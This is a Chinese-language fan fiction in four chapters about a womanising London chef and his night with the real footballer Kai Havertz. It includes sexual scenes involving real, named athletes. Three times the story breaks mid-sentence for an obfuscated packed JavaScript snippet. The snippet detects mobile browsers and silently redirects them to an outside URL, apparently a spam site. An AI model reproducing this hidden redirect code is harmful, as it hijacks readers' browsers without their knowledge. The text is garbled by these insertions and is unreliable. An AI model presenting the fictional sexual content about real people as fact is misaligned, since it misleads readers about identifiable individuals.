《足球明星背后的男人》 1. 第 1 章 布莱恩.克里奇利从睡梦中醒来,这是什么地方?床很软,被子搭在腰间,他掀开看了一眼,嗯,很好,是自己喜欢的裸睡。 但是裸睡在谁的床上,这是个问题。 他抬手遮住射入自己眼中有些刺眼的光,轻轻转了个身。 “f**k!” 他禁不住脱口而出,昨夜的记忆一股脑儿的冲进他的脑海里。 太阳下山之前,他应该去超市采购食材准备晚餐,一顿丰盛的晚餐,为了第二天的试菜成功,是的,有一家英超俱乐部让他去做一顿自助餐,给120个人做一顿丰盛的中餐。 出生于伯明翰布斯特小镇的布莱恩.克里奇利是一个厨师,还是一个沉迷做中国料理的知名厨师,上过电视,但让他成名的不是他一心钻研的中国美食,而是他相当炸裂的颜值。 他生的一头亚麻籽色的头发,比别人略大的棕色瞳仁,宽而且深的双眼皮,眉峰上扬,胡茬浅浅,典型的罗马人长相,各方面都是白人鄙视链的顶端。如果高挺笔直的鼻梁上架一副金丝边眼镜,188的身长穿一身黑色西装,就是标准的英伦绅士,但,他不是,他就是一个混子,一个到处散发男性荷尔蒙而不负责任的给子,一个冷艳,令人向往,却又让人得不到的完美单身汉。 他知道自己帅的掉渣,这副皮囊常常让他忘了自己姓什么,要不是对做饭情有独钟,第一天来伦敦买菜的时候就跟那个自称是好莱坞星探的壮汉走了。 过后参加了英国一档美食节目,被主持人调侃谁会想吃你做的菜,大家都想吃你这个人吧。 干!请不要用你选美的眼色侮辱我的职业。年仅22岁的克里奇利来英国创业心气很高,因为他刚学成归来,准备大显身手,结果被颜值给绊倒了。 如今,化解成蝶的他不仅成熟了一些,更是看淡了许多,颜可贵,拿捏价更高,要用顶级的手法来把相中的一切变成盘中餐,才是自己想要的极乐世界。 他一如既往地坚持亲自挑选可供食用的材料,于是在北伦敦最大的生鲜超市遇到了现在正躺在他对面的这个男人。 是因为他们的手同时触碰在一根黄瓜上,又不约而同地把手挪到了旁边的茄子上。 两人为这份巧妙的相撞相视一笑,目光交汇中似乎燃起了滋滋作响的煎烤声。 对面这个男人目测比他还要高一点。脸型很窄,睫毛很长,深色的卷发深色的眼睛,身材瘦削,看上去英气逼人。 男人此时看起来心情不错,目光像印章一样深深印了克里奇利一眼。 克里奇利哪是省油的灯,对面的男人看上去就像一颗新鲜的西芹,干净出挑,脆嫩爽口。 “我是不是在哪见过你?”一向不太要脸的克里奇利率先开口搭讪。真的不是一定要用这个俗套的开场白,而是他真的感觉自己认识这个男人,睡没睡过一时想不起来。 “Er…no.”男人眨了眨眼睛,轻轻摇头,接下来他没有拿黄瓜或是茄子,好像被人回盯并且用这样一句落俗的开场白给惊扰了,躲闪的眼神立刻吸引了克里奇利的好奇心。 他真的好眼熟,莫不是在电视上见过?还有,他长的好像一个人,克里奇利在脑子里快速搜索,到底是谁呢? 好奇心驱使他想要跟上男人的脚步,也没顾得上拿黄瓜或是茄子。 他们什么都没买,一前一后出了超市。 如果不是克里奇利穿着一件蓝色的衬衫看上去像个斯文人,男人早就加快脚步把他甩掉了,这步速好像在等他追上来。 不知不觉他们走到了塔桥下的围栏处,男人停下脚步,背靠在石堤上,出其不意地叫出了他的名字:“布莱恩.克里奇利。” “Oh my god !”克里奇利惊呼,“此时此刻,如果我不喊出你的名字是不是不太礼貌?让我想想。” 三秒后,克里奇利右手手背朝左手手心里一拍,和那个人同时叫出了这个名字,“凯.哈弗茨。” 哈弗茨是自我介绍,而克里奇利是脑子刚有灵光。两人又合上拍了。 “嗨!凯。”克里奇利不好意思的搓搓手,但好意思直呼人家first name,他脑子中这个人的名字就在嘴边,幸好他反应不快不慢地想起来了。虽然这不是斯坦福桥(哈弗茨之前在切尔西),可明天要去干活的俱乐部是阿森纳啊(哈弗茨现在所在的俱乐部),该死,他恨自己太过迟钝,没早点叫出他的名字。 在他叫出自己名字的时候就暴露了他的德国口音,尽管他在伦敦呆了这么多年。 “那么,克里奇利先生,你跟着我干什么?” “叫我布莱恩吧,小凯。” “小凯?”哈弗茨微微皱眉疑惑了一下。 他还真不把自己当外人。 “我29岁,所以。”他摊了摊手,表示这是大龄者主动占领高地的优势。不看球赛不了解球星卡,也看得出来哈弗茨比他小好几岁。 “你还没回答我的问题,布莱恩。”虽然被叫了小凯,也要在名字上较劲。 “我不知道,就是觉得你很眼熟,这种感觉,你知道,不弄清楚回去睡不着觉。” “哦?真的吗?”哈弗茨对他老朋友式的说着刚认识的话表示愿意更进一步,他靠在石堤上似乎想知道这个跟踪他的男人还会说什么。 克里奇利走过去,手肘支在石堤上,看着面前的护城河,而后转过身来看他。 “我应该早点认出你并且请你给我签个名的。”克里奇利装模作样的摸了摸的裤兜和胸前的衬衫口袋,没摸出签字笔却摸出一盒烟来。 他递过去烟盒,哈弗茨笑着摆了摆手,说:“不了,谢谢。我不吸烟。” “哦,对不起,你们球员都不吸烟,我忘了。” “没关系,也有吸的。” 克里奇利点燃了一根烟,吸了一口,缓缓吐出烟雾,仍然看向这个年轻的德国男人。 “你知道,我是一个厨师。” “不仅仅是厨师,我知道你是宝格丽的行政主厨,很多明星都吃过你做的饭,比如贝克汉姆,汤姆克鲁斯。” “哇哦!”克里奇利表示震惊,好像被大明星的名字给吓到,实际上是对哈弗茨对自己的了解表示震惊。 “明天,哦不,后天也许你也会吃到。” “我听说了,俱乐部后天聚餐,给接下来的欧冠小组赛打气,说邀请了著名厨师来掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344770|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勺,没想到是你。” “不一定,明天去试菜,万一你们总监不喜欢我做的菜,你也就捞不着吃了。” “噢?真的吗?那就遗憾了,你不好约的。” “除非你想提前吃到。” 克里奇利当然知道,他这该死的魅力又在为他猎寻今晚的食材,他们绝对不是在讨论美食,而是接下来去哪。 这次太容易了,完全是一次味对味的邂逅,一个眼神就可以确认,他们看上对方了。 对克里奇利来说,白天的工作是热情,那么晚上的工作就是激情。 他热爱自己的工作,只是他刚刚失去宝格丽酒店行政主厨这个职位,而不得不为他的热爱另觅地方,接一些私活,攒够了钱买下宝格丽,顺便开除那个踩着他往上爬的副手。 但钱是攒不住的,他每天晚上都会给蝴蝶大道的著名夜店,一个叫“Nice”的会员制gay吧“捐款”,还会打赏那些为生计而兼职跳舞的男孩,并从舞池里随机抽走一个愿意跟他一起吃夜宵的男人。 这样的生活已经成为他的固定模式,他有两个和他一样志同道合的朋友,一个是作家理查德.泰勒,另一个是摄影师保罗.胡克,他们三个都是从伯明翰布斯特小镇来伦敦创业的,刚来的时候合租在一起,后来事业有成各自为营,但还是会经常聚在一起喝酒玩耍,哦不,不是经常,而是天天。 三个自称是alpha的野男人之间是没有感情纠纷的,友情从未成年就泡吧然后被各自的老父亲抓回去毒打一顿,第二天晚上仍然见面就开始了。 三个铁哥们一起辍学来到大城市伦敦,开启了事业第一春。 这些都是克里奇利在去往哈弗茨家的路上和他说的,也不是每个人都是他的倾诉对象,只是最近财政焦虑,话比较多而已。 而且,这个德国男孩不是从夜店勾搭的,这让满脑子90%都是Sex and Fk的克里奇利感到兴奋。 看上去只是要吃一顿米其林三星中式料理的年轻人,同样为这次私人订制感到好奇和兴奋,在他眼里,布莱恩.克里奇利是一个新鲜的事物,与足球无关,他只是需要放松,而对方恰好也是。 “你会做什么好吃的给我?”哈弗茨一边开车,一边浏览着街边的商店,这个点的确饿了,如果不在河边闲聊,他已经回家吃上了自己做的三明治了,可现在,他没有买到黄瓜和西红柿,他不想回去啃没有味道的全麦吐司。 “如果你饿了,我做快餐给你吃。” “不,我想吃你做的试菜。” “噢,吓到我了,只听前半句的话。” “哈哈哈…”德国男孩发出爽朗的笑声,随即又抛出他感兴趣的问题,“你经常跟别人,我是说陌生男人回家吗?” “噢,不,我一般会把陌生男人带回自己家,但这次除外,第一,我耽误了你买黄瓜;第二,我们刚刚认识,却好像认识了很久。” “你可真会说话,但我不吃你这一套。” “你一会吃一会不吃,你们德国人嘴巴都这么叼吗?” “哈哈哈…”老不正经的情涩笑话再次逗笑了他,“你们伯明翰人真的是,嘴没个把门的。” 2. 第 2 章 克里奇利不愧是一个美食魔术师,他有一双神奇的手,可以把普通的食材变成美味又高级的食物,当然,他会的可不止这些,他没有考国际营养师,却知道食物之间会发生哪些化学反应,这还要从他拜师学艺开始说起。 不过来到哈弗茨的家已经很晚了,他来不及介绍他的厨神出师故事,先填饱这只小动物再说,一米九三的小驴。 他对动物相当友好,从不杀生,都是买的现成的,海鲜除外,海鲜不是他的拿手菜因此也就不太杀海鲜。 他来不及参观这个位于富人区的顶层空中楼阁,一进门就直奔厨房,打开人家的冰箱,像个主人一样,问道:“喝点什么,小凯?” “你能别加个小吗?”哈弗茨走过去,拍了拍他的后背,等他侧身时从冰箱里拿出两瓶啤酒,打开瓶盖递过去一瓶,“尝尝德国啤酒吧。” “OK!”克里奇利接过来与他碰了碰杯。 “叫你凯,不是更暧昧,我们才认识不到2个小时。” “我以为你很open,一进来就找到了别人家的厨房。” “这有什么,我一会还会找到你的浴室,你的床。” 哈弗茨又被他逗笑,但这次没有笑出声,刚喝了几口啤酒脸色就泛起了红晕。 克里奇利用了不到半个小时就做好了一桌子菜,每一碟只有一口,摆了十个碟子,用了他家几乎所有的大碟子。 克里奇利伸伸手,指着其中一道菜,介绍道:“尊敬的哈弗茨先生,请品尝茶香虾仁。” 当哈弗茨看到满满的一桌子碟子的时候直接傻眼,但还是被眼前花里胡哨的菜品所吸引,咽了咽口水,说了一句:“Oh my…这么多。” 这次轮到克里奇利笑了。 “凯,你是说盘子多还是菜多?我从未做过如此节俭的饭。” “节俭?”哈弗茨听他说节俭,忍不住倒吸一口气,他冰箱里所有的食材都被他用了,这虾什么时候买的他都不记得了,不会就剩两只也被他炸了吧。 “虾只有两只,其他的也都冷冻着,只好将就一下,每样取材一点,只是看上去丰富而已,其实你家只有圆葱,胡萝卜,西芹和土豆,再就是冻肉和罐头,难怪你这么瘦。” 克里奇利用叉子叉起一只软炸虾仁递到不知道从何下手的男孩嘴边。 哈弗茨没有拒绝,尝了一口,香软的口感和弹牙的虾肉还有绿茶的香气,混合在一起刺激了他的味蕾和食欲,让他迷糊,继而升起一阵颅内gc,于是一发不可收拾的开始清盘。 炸猪排,炒土豆丝,青椒香肠,凉拌西芹,糖醋里脊,奶油蘑菇汤,蒜香卷心菜,芝士焗意面……也不全是中餐,怕他吃不惯。 不一会就风卷残云般的一扫而空并摞了一堆空碟子。 克里奇利只是微笑着看着他吃,还时不时的给他倒酒。 哈弗茨被他看的不好意思,把意面往前推了推,问他:“你怎么不吃?” 克里奇利笑笑,说:“通常,我把做给客人吃的和我自己要吃的分开,不过不用担心,厨子是不会挨饿的。” “你不会给我下药了吧?”哈弗茨举着叉子停下咀嚼。 克里奇利意味深长的抿了抿嘴,挑了挑本就高耸的眉峰,摸着自己的下巴饶有自信的说,“我相信我的食物比药物好用,不过你这点食材,咳咳,做不出可以催情的效果。” “什…什么?”哈弗茨放下叉子,喝了不知道几杯酒的脸在烛光的映照下更显红润,嘴唇也红的像盘子里的彩椒。 他感觉一直在被这个色咪咪的英格兰人调戏,从认识的第一秒就开始了。 他反倒成了盘子里的食物。 “呃…我冒昧的问一句,布莱恩,你是top还是bottom?” “终于找到正题了,凯。” 克里奇利站起来,直接用手从盘子里捏起一块方方正正的牛奶布丁,送到哈弗茨的嘴边,“吃了甜品,我告诉你。” 他还说没在菜里下药,年轻男人已经不受控制的张开嘴,听他摆布了。 哈弗茨吃下甜品,心里搞不懂这人到底是怎么做出来□□弹弹的牛奶布丁的,顺滑软糯,入口即化,还有淡淡的奶油香味,甜而不腻,简直要把整颗心都融化了,他这种俘获人心的方式任谁也抗拒不了吧。 算了,一夜情而已,还是不要想太多,这个老男人油嘴滑舌,勾搭人的本事一流,可能只是想利用自己能让他明天试菜成功,那就让他为自己服务一次又如何。 哈弗茨吃过布丁后坚定了心里的想法,他看到克里奇利嗦了嗦刚喂过他布丁的手指头,更觉得这家伙好色,痞坏,勾搭人有一套,说不定那个开场白用过一百次,甚至更多,自己还就不信了,在北伦敦还有不认识他的。 单身,有机会,谁不出来到处散发魅力,难道在家躺着看球赛?主动出击,说不定就会遇到生命里的那个“他”。但,这可不是在夜店的邂逅啊,难道自己表现的太明显,让这个老男人给一眼识破了? 其实都差不多,他不也是几句话就暴露了自己是个给,还是个单身主义给,而且他也说了阅人无数,还没阅过球星。 算是一个愿打一个愿挨,那今晚谁挨打这是个问题。 “你想什么呢?”克里奇利把哈弗茨手里的酒接过来一仰脖就干了。 哈弗茨看着他颀长的脖颈,刮的不是很干净的胡茬还有明显突出的喉结,再看着他揪了揪被几滴酒沾湿的衬衫领口,修长白皙的手指伸进衣领里擦了擦,感觉他下一秒就要在自己面前上演脱衣舞。 “吃饱了吗?可爱的小驴?” “你该不会是知道我是谁了以后,什么都想起来了吧,还知道我的外号?” “啊?难道不是因为你脸长吗?你真的叫小驴?”克里奇利抬起手指刮了一下他的侧脸。 “你!” 哈弗茨这次可没有被他逗笑,他竟然说自己脸长像驴,明明是自己养了一头可爱的小驴才被网友亲切的叫小驴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344771|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好吗? “克里奇利!我管你是top还是bottom,让你尝尝被驴踢了是什么滋味!” 吃饱了有力气干活,这小驴蹄子搂过来还真是有点让人难以承受,特别是看上去精瘦却爆发力十足的脚球男,身体对抗绝对不会落了下风。 克里奇利对这样的场面可太熟悉了,每一个被他喂饱了的男人都会想睡觉,而刚刚被食物治愈的胃也会重新燃起食欲,把人再变回饿狼。 他可不会心甘情愿的当一盘菜,他是掌勺之人,还能叫食材给吃了? 面对扑过来咬人的小驴,克里奇利象征性的后退了几步,接着就环住了他的腰,把比他还高几公分的小驴给抱了起来,体重优势让他下盘很稳,常年健身的成果也让他臂力惊人。 但是对这个场所的不熟悉让克里奇利感到有些放不开,说实话他真的没找到他家的床和浴室,也没找到小方包装袋,不像在自己家,开放式的阁楼装修,所用所需一览无遗。 他一边后退一边寻找着可以尽兴的地方,却被哈弗茨误解为假惺惺。 哈弗茨毫不客气的搂住克里奇利,用热烈的吻来征服他,心里想着这不要脸的老男人视煎我一晚上了还玩欲擒故纵,我叫你纵! 克里奇利嘴角微微翘起,随即给了他一个让他足以怀念一辈子的克式深吻。 这杀人放火般的吻咄咄逼人却也温柔缠绵,带着十足的攻击性,立刻在他唇舌间炸开一朵朵烟花,还是草莓味儿的烟花,直到把怀里的人吻的腿发软。 两人迫不及待的剥开对方的衣服,想要看看内里是不是自己想的那样,结实饱满,流畅坚硬。 他们疯狂的接吻,像两条接吻鱼,不停的碰撞对嘴,呼吸逐渐加深,舌尖攫取着对方嘴里的味道,一个是爆珠香烟残留的味道,一个是奶酪布丁味儿,满意的尝过之后,再去嗅闻对方颈间微微渗出的薄汗。 衣服散落一地。 “你的吻技不错。”哈弗茨迷起了狭长的眼睛,利用略显优势的身高低垂着眉眼看他。 “我的床技更绝。”说完,克里奇利一把将他打横抱了起来。 “噢!不!”哈弗茨抬手去掰他的手臂。 “别动,我不会让你感到难受的。”他抱着他在客厅走来走去。 “卧室在那边。”哈弗茨给他指路。 “早点说啊,早说我就不至于让你站这么久。” 两个人在床上你来我往,好像在打架,谁也不肯退让半分。 克里奇利喘着粗气,伸手把床头柜上放着的烈酒打开,咕咚咕咚闷了几口,高度酒精让他对接下来自己的所作所为不必感到愧疚,他虽不杀生,却斩男,把人掰弯的事他都做的出来,何况把top变bottom,简直易如反掌并乐在其中。 小驴被他扯住了驴蹄子,直接举上头顶。 这样他就没法用他灵活的蹄子来踢人,也失去了最后一道防线。 “轻点。”他说,“我是第一次。” 3. 第 3 章 他这一句说的克里奇利差点要愧疚了,但更多的是欣喜若狂。 人渣,他骂自己一句,随即又咧开嘴得意的笑了。 他一边拿东西一边伏在他耳边问道:“第一次做0还是第一次和男人?” “少废话。” 无论是哪个第一次都令人血往头上涌。 当然,第一次是愉悦的,很久没有这么带感的来了四次,每次都好像是不同的人。 这一顿德国菜让克里奇利满足的忘了抽身离去,而是直接升上了云端。 梦里他对他师父说:“师父,又想吃你炖的虫草鸡了,差一点就去找你了。” 他师父腾云驾雾,一脚把他踹了下去。 他这才从梦中惊醒,环视了一圈陌生的房间,再掀开被子看看自己。 他喝了酒更清醒更有胆量也更延迟,就是一点不好,第二天容易不在状态。 所以当他看到对面的美男子时,又一时想不起来他是谁了。 “Fuck!”他说,又睡了一个小年轻? 对面的男孩眼睛睁开一条缝,清晨的微光映的他瞳孔雪蓝,接着有些无措的转过身去。 克里奇利闭上眼睛思考了几秒,接着火热的贴上去,“凯。”他混蛋到刚想起人家的名字,“第一次还好吗?” “走开。”哈弗茨轻声说。 “那我走了?” “走吧。” 克里奇利亲吻了他的鬓角,拉开被子,下了床。 他捡起地上的衣服,放到鼻子跟前闻了闻,yue,真臭,没办法,只好先套上,回家换一身再去开工。 “你可以洗个澡再离开。”床上的人看也不看他,声音轻的差点听不见。 “不了,我不喜欢干净的身体套昨天的脏衣服。” 困倦的男人也坐起来,被子从他光滑的肩膀上溜下来,遮住了他晨起的尴尬,两条又长又直又白的腿盘起来,抬手指了指浴室的方向,“一本正经的装干净,快去洗,然后穿我的,你该庆幸你不是一米七。” “噗。”克里奇利笑了笑,露出他标志性的单边小虎牙,“可爱的小驴,你对我这么好,我会爱上你的。”接着两三下就穿好了衣服裤子,转身离去。 走之前,他还去厨房火速煎了两个超级好看的溏心蛋,倒上一杯牛奶,自己胡乱喝了一口,才心满意足的离开。 快到中午11点他才赶到阿森纳俱乐部,负责接待他的总监助理把他领进后厨,他看了一眼他们准备好的食材,一语不发的开始干活。 和他同时竞争这个项目的还有一个人,他看都不愿多看一眼。 那人已经备好了半成品,就等着12点开餐,一道一道地端上桌,快速,好看,丰富,因为他早就占用了大部分上等的食材,比如鲍鱼、鱼翅、龙虾、帝王蟹、三文鱼…… 留给克里奇利的不仅仅是挑剩下的食材还有所剩无几的时间,这怪不得别人,谁叫他春宵一梦难自持,差点误了大事。 他就是这样,自由散漫,不负责任,四处点火,懒得解释,有着fk一切的傲慢态度,即使火烧眉毛也能搞定一切。 他的竞争者,吉姆.格林看着他从冰柜里拿出一块冻鳕鱼,忍不住嘲笑道:“嘿,布莱恩,我想你一定听过狗肉上不了大席这个东方谚语吧。”他指的是冻鳕鱼怎么能比得上他新鲜的挪威三文鱼。 此刻,忙的不可开交但面上好像一切尽在掌控中的布莱恩.克里奇利懒得和他斗嘴,吩咐助理要不停的给冻鱼浇温水。 时间到,他们要把自己的“杰作”一一端上去给“评审员”打分。正巧,赶上球员训练归来,本来没打算让他们也参与试菜的,因为今天是比赛日,他们要快点吃完午餐去午休,下午还要开会。 但好奇的球员们怎么会放过这么好玩的比赛,他们看到一个个雪白的盘子中间摆放着精美如瓷的小菜,忍不住一窝蜂地围了上来。 “Hey guys!”行政总监把他们拦住,让他们回到自己的座位上去,并告诉他们今天是试菜,后厨工作人员会挑选出合适的人选来为大家呈现最好的工艺,请静待明天。 可有人不乐意,一向嘴刁的队长厄德高发话了:“今晚的比赛难道不重要吗?没有土豆和银鳕鱼我会不开心的。” “哈哈哈……”人群中爆发出一阵笑声。 “是啊,瑞奇,就让我们尝尝吧,就尝一点点。”加布里埃尔指着其中一道色泽红润透着油亮的菜品说,“我想知道这是什么,是脆的吗?”感觉下一秒他就要把手伸过去。 “是虾仁豆腐,虾是脆的。”戴着白色厨师帽看上去人模人样的克里奇利微笑介绍道,并且眼尾迅速扫了一眼站在人群里十分显眼的黑发小伙,他正搂着他的队友,拥有一个高山鼻,冰湖眸子,修饰脸颊的络腮胡,被称为英格兰大宝贝的德克兰.赖斯。 虽然德克兰.赖斯有一张伟大的脸,也没有让克里奇利一下子就看上,他的目光只落在那个和他缠绵了一整夜此刻一语不发的德国小驴身上。 “OK,小伙子们,你们真是一群难伺候的主儿,那就让你们来当评委好了,反正早晚也是给你们吃的。”瑞奇把赏菜的长桌清了出来,让他们围坐成一圈,并交代评分的要点。 “别一上来就哄抢一空,要绅士一些,知道吗?” “嘿!我要发评分表。” “先别吃!小马丁。” 他在说什么,根本没人听,他们训练了半天早就饥肠辘辘,恨不得拿起盘子直接倒嘴里。 “嗯,好吃好吃!这道银鳕鱼是谁做的?味道太鲜美了,让我差点以为此刻就在海边度假。”挪威海鲜品鉴者厄德高竖起了大拇指。 “咳咳……”站在克里奇利旁边,比他矮半个头的吉姆刚想说,那是块冻鱼,接着又被厄德高打断。 “是你做的吧?厉害厉害。”他听到两声咳嗽以为做这道菜的厨师不好意思承认,夸错了让吉姆显得有些尴尬,只好把话咽了下去。 他们一边品尝交流一边拿起笔来打分。 打分期间,哈弗茨不时地抬头去看克里奇利的脸,好像在用眼神询问他,哪道菜是你做的,我给你个高分,可克里奇利回望的眼神总带着几分调情,让他看了难免想起昨夜的第一次,第二次和第三第四次。 最终的成绩可想而知,克里奇利全票碾压来当炮灰的吉姆。 比完了,吉姆很不服气,他觉得这次的评价太不正规了,一帮饿疯了的球员会评什么,要是后厨的厨师长和工作人员来评,绝对能吃出冻鱼的口感和不上档次的菜品来。 “结果已经很明显了,抱歉,吉姆.格林先生。”瑞奇开始送客。 吉姆气急败坏地摘下帽子扔在桌上,一边脱厨师服一边说:“我可是宝格丽的,他是个无业游民,不怕中毒尽管让他做。” “吉姆,你在工作中给我使绊子也就算了,出来公平竞争再诋毁我,可别怪我告你诽谤。”克里奇利也不是一味退让的主儿,他还打算以后买下宝格丽,再让这个丑陋的家伙卷铺盖滚蛋呢。 “Fuck U!”吉姆骂了他一句,拿上包准备走人,走到门口时,又被克里奇利叫住。 “嘿,吉姆。”克里奇利走过去,手搭在他肩膀上,对他说:“你想知道那道清蒸银鳕鱼怎么做的吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344772|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 吉姆瞪着他,似乎很想知道又不好意思问。 “清理干净很重要。”(clear out有滚蛋的意思。) 送走了对手,克里奇利才感到有一丝丝疲惫,他要回去好好地睡一觉,养精蓄锐,来为明天的自助餐做好充足的准备,可不能再迟到了。 他还拎的轻哪些是重要的哪些是不重要的,但他的重中之重一定是sex,而且是不同的sex体验。 他刚准备上车离开阿森纳的停车场,就听见旁边的车滴滴响了两声,有人用遥控器打开了车锁。 这是一辆德国顶级奔驰AMG,操作性很强,性能一流,一般人开不了,难免会让克里奇利多看两眼。 接着车主就出现在他的视野里。 穿着阿森纳红色训练服,白色耐克气垫鞋的哈弗茨迎面走过来。 不交谈两句说不过去。 “嗨!凯!”克里奇利冲他扬了扬手,“车不错,有品位。” “夸车,夸我,还是夸自己?” “夸自己没必要拐弯抹角,我比车帅多了。” “哈哈哈……”哈弗茨笑他不要脸,但这张脸的确很难让人忘掉,特别是汗津津的起伏在上面,露出几分隐忍的陶醉感,是他见过最涩情的画面。 他抿了抿嘴唇,转移了话题,“不知道我有没有帮到你。”他还不知道结果。 “有。很多菜你昨天都吃过,我觉得自己很走运。不过,我的对手也帮了不少。” “噢?为什么?” “虽然我来晚了,但你们吃到的都是刚出锅的,而他都提前准备好了,以为自己很用心,物极必反,记住,食材永远是新鲜现做的才好吃。” “我又不做饭,不懂。” “你会吃就行。额,你们的那个金发小哥真的是个美食家?我听奇瑞说,他嘴刁得很。” “嗯,差不多吧,他只吃空运的挪威新鲜海鱼,别的不吃,嫌腥。” “嗯,那你千万别告诉他,银鳕鱼是我从冰柜里拿出来的。” “什么?哈哈哈……你可真有两下子。” “我希望你不是在夸我的职业。” 几句离不开搞颜色,哈弗茨摇摇头,接着说,“说正事,布莱恩,今晚北伦敦德比,我们的主场,你要来看吗?” “额,对不起,我还不是会员,伦敦德比一票难求这我还是知道的。” “赞助商给的,带你的朋友一起来吧。”哈弗茨从兜里掏出三张球票塞到他怀里,“如果有事来不了,球票卖了也值不少。” “嘿!我打算裱起来的,怎么能转手呢。” “那晚上见。”哈弗茨和他握手。 克里奇利则主动送上英式贴面礼,和他拥抱告别。 可晚上要加班准备第二天的big case,现在正打算回去补补觉呢,到底怎么办,他给他的两个好基友打电话征求意见。 好基友就是好基友,一致同意取消今晚的夜店见面,改为酋长球场,来看一场血脉喷张的北伦敦德比,阿森纳主场迎战热刺。 谁在乎克里奇利的事业,反正他又不至于饿死,给他一根黄瓜都能做四个菜,他们只在乎克里奇利能带来什么红利,当然还想听听他昨晚的艳遇,让人羡慕的优质alpha总是有相当牛b的资源,连位置绝佳的赞助商席位都能搞到手,还是三张票,下次是不是就能混上家属区了。 但克里奇利的本性他们是知道的,万花丛中过,片叶不沾身。渣的一塌糊涂,就像他顶着一张惨绝人寰杀人不眨眼的脸和一幅九头身比例一身腱子肉的好皮囊一样,是上帝派来祸乱人间的绝种婊子。 4. 第 4 章 “你没看过国家德比吗?”理查德对克里奇利的慷慨送票表示诧异。 “说实话,我在电视上也没看过几场。”克里奇利是个伪球迷,甚至连伪都算不上,但伦敦的足球产业这么豪横,他也被普及过。 “哦,那你一定是睡了个球星。” “闭嘴,理查德,有票你就偷着乐吧。” “他一定很帅,是不是?” “去你的,保罗,怎么你也这么不着调?” “哈哈,好像我们三个之中只有你最不着调。” “所以你们去还是不去?” “我们打算看完球赛,请你喝一杯作为回礼,怎么样?布莱恩?” “先欠着吧,我还要加班。” “天,真想知道你到底睡了哪个球星?是阿森纳的还是热刺的?宁愿放弃蹦迪,也要去看球赛,完了还要加班,真是倒反天罡啊,布莱恩。” “我再不看球也知道是伦敦德比啊。” “确定不告诉我们票是从哪来的?” “从我下半身来的,行了吧。” “看,我就说嘛。” 晚上八点,酋长球场座无虚席。 当他们找到座位的时候,简直不可思议,他们就坐在阿森纳替补席的后面。当厄德高出现在替补席上的时候,还认出了克里奇利,并送给他一个微笑。 理查德立刻用胳膊肘怼了怼克里奇利,在他耳边小声说道:“布莱恩,你知道他是谁吗?” 克里奇利没搭腔。 “阿森纳的队长厄德高。”保罗补充道。 “我只知道他是个嘴刁的男孩。”克里奇利耸了耸肩膀。 “不是吧,难道是他?你得走了多大的运啊?”他们俩羡慕的看着克里奇利一张高傲的脸。 “虽然我对金发没有什么抵抗力,如果我说是工作便利你们也不信,所以请你们闭嘴好吗?” “切!” 这时,球员开始入场。 当克里奇利看到首发队伍中那个显眼的黑发男孩时,他不由得挺直了腰板,还揪了揪额前的碎发,紧张的好像他也跟着上场了。 两个好朋友一左一右的看了他一眼并发出了窸窸窣窣的笑声。 克里奇利有点后悔带这两个贱/人来看比赛了。印象中好像就没有他们不看自己热闹的时候,以前睡过的,不透露姓名,他们都交流的热火朝天。 这两个top一个是闷骚的耽美作家,写的永远比做的open,另一个是浑身散发着艺术气息的长发美人攻,但在舞池里他们永远都物色不到能粘在克里奇利身上一晚上的那种极品帅哥。 所以他们对克里奇利的生活持偷窥态度。理查德说,要给克里奇利写一本自传,把他睡过的形形色色的人编成故事,可以拍一部长达五季的电视连续剧。保罗说你do的时候最好叫上我,我保证给你拍的像好莱坞大片似的,真枪实弹本色出演,到时候你拿了小金人别忘了感谢我和理查德。 编剧,摄影,导演,演员一拍即合。 克里奇利说Fuck off,你们两个混蛋,别想着靠我发家致富。我他妈想多活几年,不想被伦敦反涩情组织和恐侗联盟整天骚扰。所以白瞎我这神颜就白瞎吧,我贡献给每一个爱慕我的人就行了。 他是圈里的天菜,出了圈他无比正经和理智,甚至还有些禁欲,除非你和他四目相对,并让他闻到一点血腥味儿,不然他就会像蛇一样,只在自己的舒适区里蹦迪。 比赛开始了。 “这什么玩意?”克里奇利忍不住吐槽了一句,前十分钟被热刺围攻,打了不下三脚威胁球,差一点就被进了。 “别急,看球急不得。”理查德虽然不是阿森纳球迷,但他知道自己身在主场球迷区。 厄德高好像听见了他的抱怨,回头看了他一眼。 接着,马丁内利边路爆趟,还以颜色,但球被门将扑了。 “哎哟!”克里奇利失望的喊了一声,他看着在前场来回跑动要球的哈弗茨,心想,怎么不传给小驴呢,他驴蹄子正闲着呢,一双不穿长袜的美腿在他眼前一闪而过。 接着阿森纳中场又丢球了,对面一记挑传到门前,差点头球破门。 